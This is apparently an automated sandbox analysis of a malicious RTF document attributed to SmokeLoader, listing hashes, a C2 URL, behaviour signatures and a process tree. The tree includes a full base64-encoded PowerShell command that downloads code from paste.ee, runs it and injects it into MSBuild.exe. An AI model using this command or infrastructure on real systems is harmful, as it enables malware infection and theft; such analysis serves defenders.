Analysis
-
max time kernel
151s -
max time network
131s -
platform
windows7_x64 -
resource
win7 -
submitted
28-10-2020 15:42
Static task
static1
Behavioral task
behavioral1
Sample
asdf.rtf
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
asdf.rtf
Resource
win10
windows10_x64
0 signatures
0 seconds
General
-
Target
asdf.rtf
-
Size
2.3MB
-
MD5
c99321eebd53d1881ced20ddd1dbfda0
-
SHA1
db66a0c3cd32f56f68f9386cf017e39cce3dbe60
-
SHA256
88c9417d5fc9539878eff56ea8d6105711a383a15a1dc54b6918016f25880120
-
SHA512
2b3d20fc907302b9ea7bd893f684a12739ffd67586a649ebcff0a39619374fe0bb90ccb6cb055e1788c950ef58dc7547454cd1ad348a483b8400ab86509161bb
Score
10/10
Malware Config
Extracted
Family
smokeloader
Version
2020
C2
https://www.bristell.com/files/index.php
rc4.i32
rc4.i32
Signatures
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Blacklisted process makes network request 4 IoCs
flow pid Process 6 1800 EQNEDT32.EXE 8 1800 EQNEDT32.EXE 10 1800 EQNEDT32.EXE 16 340 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 1192 908.exe -
resource yara_rule upx behavioral1/files/0x00040000000130ed-2.dat upx behavioral1/files/0x00040000000130ed-4.dat upx behavioral1/files/0x00040000000130ed-5.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1800 EQNEDT32.EXE 1564 MSBuild.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 340 set thread context of 1564 340 powershell.exe 41 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI MSBuild.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI MSBuild.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI MSBuild.exe -
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
pid Process 1800 EQNEDT32.EXE -
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1456 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 726 IoCs
pid Process 1888 powershell.exe 1888 powershell.exe 340 powershell.exe 340 powershell.exe 340 powershell.exe 340 powershell.exe 340 powershell.exe 340 powershell.exe 1564 MSBuild.exe 1564 MSBuild.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 948 explorer.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 948 explorer.exe 1420 explorer.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1688 explorer.exe 948 explorer.exe 1304 Process not Found 1420 explorer.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 948 explorer.exe 1304 Process not Found 1688 explorer.exe 1420 explorer.exe 308 explorer.exe 1420 explorer.exe 948 explorer.exe 1688 explorer.exe 1328 explorer.exe 1304 Process not Found 1304 Process not Found 948 explorer.exe 1420 explorer.exe 1688 explorer.exe 1304 Process not Found 516 explorer.exe 308 explorer.exe 1328 explorer.exe 948 explorer.exe 1420 explorer.exe 1688 explorer.exe 308 explorer.exe 1328 explorer.exe 1420 explorer.exe 948 explorer.exe 1304 Process not Found 1688 explorer.exe 1304 Process not Found 1304 Process not Found 308 explorer.exe 1328 explorer.exe 1304 Process not Found 516 explorer.exe 1420 explorer.exe 948 explorer.exe 1304 Process not Found 1688 explorer.exe 1304 Process not Found 1304 Process not Found 320 explorer.exe 308 explorer.exe 1328 explorer.exe 516 explorer.exe 1420 explorer.exe 948 explorer.exe 1688 explorer.exe 308 explorer.exe 1328 explorer.exe 516 explorer.exe 1372 explorer.exe 948 explorer.exe 1688 explorer.exe 1420 explorer.exe 1304 Process not Found 308 explorer.exe 1328 explorer.exe 1304 Process not Found 516 explorer.exe 1420 explorer.exe 948 explorer.exe 1688 explorer.exe 1304 Process not Found 1304 Process not Found 320 explorer.exe 1372 explorer.exe 1304 Process not Found 308 explorer.exe 1328 explorer.exe 1304 Process not Found 516 explorer.exe 1304 Process not Found 1420 explorer.exe 948 explorer.exe 1688 explorer.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 320 explorer.exe 1372 explorer.exe 1304 Process not Found 308 explorer.exe 1328 explorer.exe 1304 Process not Found 516 explorer.exe 1304 Process not Found 1420 explorer.exe 948 explorer.exe 1688 explorer.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 320 explorer.exe 1372 explorer.exe 1304 Process not Found 308 explorer.exe 1328 explorer.exe 1304 Process not Found 516 explorer.exe 1304 Process not Found 1420 explorer.exe 948 explorer.exe 1688 explorer.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 320 explorer.exe 1372 explorer.exe 1304 Process not Found 308 explorer.exe 1328 explorer.exe 1304 Process not Found 516 explorer.exe 1304 Process not Found 948 explorer.exe 1420 explorer.exe 1688 explorer.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 320 explorer.exe 1372 explorer.exe 1304 Process not Found 308 explorer.exe 1328 explorer.exe 1304 Process not Found 516 explorer.exe 948 explorer.exe 1688 explorer.exe 1304 Process not Found 1420 explorer.exe 1304 Process not Found 1304 Process not Found 320 explorer.exe 1372 explorer.exe 1304 Process not Found 308 explorer.exe 1304 Process not Found 1328 explorer.exe 1304 Process not Found 516 explorer.exe 1420 explorer.exe 1688 explorer.exe 948 explorer.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 320 explorer.exe 1372 explorer.exe 1304 Process not Found 308 explorer.exe 1328 explorer.exe 1304 Process not Found 516 explorer.exe 1304 Process not Found 1420 explorer.exe 948 explorer.exe 1688 explorer.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 320 explorer.exe 1372 explorer.exe 1304 Process not Found 308 explorer.exe 1328 explorer.exe 1304 Process not Found 516 explorer.exe 1304 Process not Found 1420 explorer.exe 1688 explorer.exe 948 explorer.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 320 explorer.exe 1372 explorer.exe -
Suspicious behavior: MapViewOfSection 25 IoCs
pid Process 1564 MSBuild.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1888 powershell.exe Token: SeDebugPrivilege 340 powershell.exe -
Suspicious use of FindShellTrayWindow 33 IoCs
pid Process 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found -
Suspicious use of SendNotifyMessage 31 IoCs
pid Process 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1192 908.exe 1304 Process not Found 1304 Process not Found 1304 Process not Found 1304 Process not Found -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1456 WINWORD.EXE 1456 WINWORD.EXE -
Suspicious use of WriteProcessMemory 86 IoCs
description pid Process procid_target PID 1456 wrote to memory of 1896 1456 WINWORD.EXE 25 PID 1456 wrote to memory of 1896 1456 WINWORD.EXE 25 PID 1456 wrote to memory of 1896 1456 WINWORD.EXE 25 PID 1456 wrote to memory of 1896 1456 WINWORD.EXE 25 PID 1800 wrote to memory of 1192 1800 EQNEDT32.EXE 32 PID 1800 wrote to memory of 1192 1800 EQNEDT32.EXE 32 PID 1800 wrote to memory of 1192 1800 EQNEDT32.EXE 32 PID 1800 wrote to memory of 1192 1800 EQNEDT32.EXE 32 PID 1192 wrote to memory of 1888 1192 908.exe 36 PID 1192 wrote to memory of 1888 1192 908.exe 36 PID 1192 wrote to memory of 1888 1192 908.exe 36 PID 1192 wrote to memory of 1888 1192 908.exe 36 PID 1888 wrote to memory of 340 1888 powershell.exe 38 PID 1888 wrote to memory of 340 1888 powershell.exe 38 PID 1888 wrote to memory of 340 1888 powershell.exe 38 PID 1888 wrote to memory of 340 1888 powershell.exe 38 PID 340 wrote to memory of 1600 340 powershell.exe 39 PID 340 wrote to memory of 1600 340 powershell.exe 39 PID 340 wrote to memory of 1600 340 powershell.exe 39 PID 340 wrote to memory of 1600 340 powershell.exe 39 PID 340 wrote to memory of 1800 340 powershell.exe 40 PID 340 wrote to memory of 1800 340 powershell.exe 40 PID 340 wrote to memory of 1800 340 powershell.exe 40 PID 340 wrote to memory of 1800 340 powershell.exe 40 PID 340 wrote to memory of 1564 340 powershell.exe 41 PID 340 wrote to memory of 1564 340 powershell.exe 41 PID 340 wrote to memory of 1564 340 powershell.exe 41 PID 340 wrote to memory of 1564 340 powershell.exe 41 PID 340 wrote to memory of 1564 340 powershell.exe 41 PID 340 wrote to memory of 1564 340 powershell.exe 41 PID 340 wrote to memory of 1564 340 powershell.exe 41 PID 1304 wrote to memory of 832 1304 Process not Found 42 PID 1304 wrote to memory of 832 1304 Process not Found 42 PID 1304 wrote to memory of 832 1304 Process not Found 42 PID 1304 wrote to memory of 832 1304 Process not Found 42 PID 1304 wrote to memory of 832 1304 Process not Found 42 PID 1304 wrote to memory of 960 1304 Process not Found 43 PID 1304 wrote to memory of 960 1304 Process not Found 43 PID 1304 wrote to memory of 960 1304 Process not Found 43 PID 1304 wrote to memory of 960 1304 Process not Found 43 PID 1304 wrote to memory of 948 1304 Process not Found 44 PID 1304 wrote to memory of 948 1304 Process not Found 44 PID 1304 wrote to memory of 948 1304 Process not Found 44 PID 1304 wrote to memory of 948 1304 Process not Found 44 PID 1304 wrote to memory of 948 1304 Process not Found 44 PID 1304 wrote to memory of 1420 1304 Process not Found 45 PID 1304 wrote to memory of 1420 1304 Process not Found 45 PID 1304 wrote to memory of 1420 1304 Process not Found 45 PID 1304 wrote to memory of 1420 1304 Process not Found 45 PID 1304 wrote to memory of 1688 1304 Process not Found 46 PID 1304 wrote to memory of 1688 1304 Process not Found 46 PID 1304 wrote to memory of 1688 1304 Process not Found 46 PID 1304 wrote to memory of 1688 1304 Process not Found 46 PID 1304 wrote to memory of 1688 1304 Process not Found 46 PID 1304 wrote to memory of 308 1304 Process not Found 47 PID 1304 wrote to memory of 308 1304 Process not Found 47 PID 1304 wrote to memory of 308 1304 Process not Found 47 PID 1304 wrote to memory of 308 1304 Process not Found 47 PID 1304 wrote to memory of 1328 1304 Process not Found 48 PID 1304 wrote to memory of 1328 1304 Process not Found 48 PID 1304 wrote to memory of 1328 1304 Process not Found 48 PID 1304 wrote to memory of 1328 1304 Process not Found 48 PID 1304 wrote to memory of 1328 1304 Process not Found 48 PID 1304 wrote to memory of 516 1304 Process not Found 49 PID 1304 wrote to memory of 516 1304 Process not Found 49 PID 1304 wrote to memory of 516 1304 Process not Found 49 PID 1304 wrote to memory of 516 1304 Process not Found 49 PID 1304 wrote to memory of 1048 1304 Process not Found 50 PID 1304 wrote to memory of 1048 1304 Process not Found 50 PID 1304 wrote to memory of 1048 1304 Process not Found 50 PID 1304 wrote to memory of 1048 1304 Process not Found 50 PID 1304 wrote to memory of 1048 1304 Process not Found 50 PID 1304 wrote to memory of 1500 1304 Process not Found 51 PID 1304 wrote to memory of 1500 1304 Process not Found 51 PID 1304 wrote to memory of 1500 1304 Process not Found 51 PID 1304 wrote to memory of 1500 1304 Process not Found 51 PID 1304 wrote to memory of 1500 1304 Process not Found 51 PID 1304 wrote to memory of 320 1304 Process not Found 52 PID 1304 wrote to memory of 320 1304 Process not Found 52 PID 1304 wrote to memory of 320 1304 Process not Found 52 PID 1304 wrote to memory of 320 1304 Process not Found 52 PID 1304 wrote to memory of 320 1304 Process not Found 52 PID 1304 wrote to memory of 1372 1304 Process not Found 53 PID 1304 wrote to memory of 1372 1304 Process not Found 53 PID 1304 wrote to memory of 1372 1304 Process not Found 53 PID 1304 wrote to memory of 1372 1304 Process not Found 53
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\asdf.rtf"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1456 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1896
-
-
C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blacklisted process makes network request
- Loads dropped DLL
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Users\Public\908.exeC:\Users\Public\908.exe2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1192 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -executionpolicy bypass C:\Users\Admin\AppData\Local\Temp\duOrFjsdY.ps13⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ARABVAE0AUgBMACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAF4AIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACIALAAgACIANwA4ACIAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwB3AFcAdQBTAEsAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=4⤵
- Blacklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:340 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵PID:1600
-
-
